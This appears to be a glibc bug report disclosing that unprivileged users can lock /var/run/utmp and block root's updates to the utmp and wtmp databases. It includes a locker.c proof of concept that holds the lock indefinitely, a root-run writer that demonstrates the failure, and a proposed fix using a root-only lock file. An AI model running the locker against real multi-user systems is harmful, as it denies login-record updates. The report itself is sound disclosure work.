Bug 24492

The utmp locking in glibc relies on lock the utmp database file (i.e. /var/run/utmp). This file is normally readable by non-root users and so they are able to lock it as well, which prevents updating the databse, and delays any attempt to do so (the mechanism currently in glibc times out after 10 seconds).

See two example programs below. The first, which can be run as any user, locks the file and sleeps. The second, which should be run as root, attempts to update the database. It fails while the first program remains running.

Therefore, any user is able to prevent the utmp database from being updated. A similar problem exists for the wtmp database which records logins.

Relevant glibc code is in login/utmp_file.c.

Regarding solutions, it is not a trivial problem to solve completely. I suggest locking a separate file (eg /var/run/.utmp.lock) which is read/writeable by root only and therefore unable to be locked by unprivileged users; however, reads of the database would need to be done without any locking (at least for unprivileged users) which theoretically means that a read could see a partially-updated record. In practice for this to happen a partial record write would need to have occurred (or the filesystem would have to be non-POSIX compliant, since POSIX mandates that a successful write is atomic as far as reads are concerned).  In any case this theoretical problem seems less of an issue than the demonstrable problem of unprivileged processes being able to deny updates to the databases.

Example programs for reproduction:

--- begin locker.c ---
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
    // open file
    int fd = open("/var/run/utmp", O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    
    // lock file
    struct flock fl;
    memset(&fl, 0, sizeof(fl));
    fl.l_type = F_RDLCK;
    fl.l_whence = SEEK_SET;
    if (fcntl(fd, F_SETLKW, &fl) < 0) {
        perror("fcntl (SETLKW)");
        return 1;
    }
    
    // sleep forever.
    pause();
    return 0;
}
--- end ---

--- begin writeutmp.c ---
#include <utmp.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <pwd.h>

int main(int argc, char **argv)
{
    struct utmp ut;
    memset(&ut, 0, sizeof(ut));
    
    ut.ut_type = USER_PROCESS;
    ut.ut_pid = getpid();
    strncpy(ut.ut_line, ttyname(STDIN_FILENO) + strlen("/dev/"),
        sizeof(ut.ut_line));
        
    time_t cur_time;
    time(&cur_time);
    
    ut.ut_tv.tv_sec = cur_time;
    
    strcpy(ut.ut_user, getpwuid(getuid())->pw_name);
    ut.ut_addr = 0;
        
    setutent();
    if (pututline(&ut) == NULL) {
        perror("pututline");
    }
    endutent();
    
    return 0;
}
--- end ---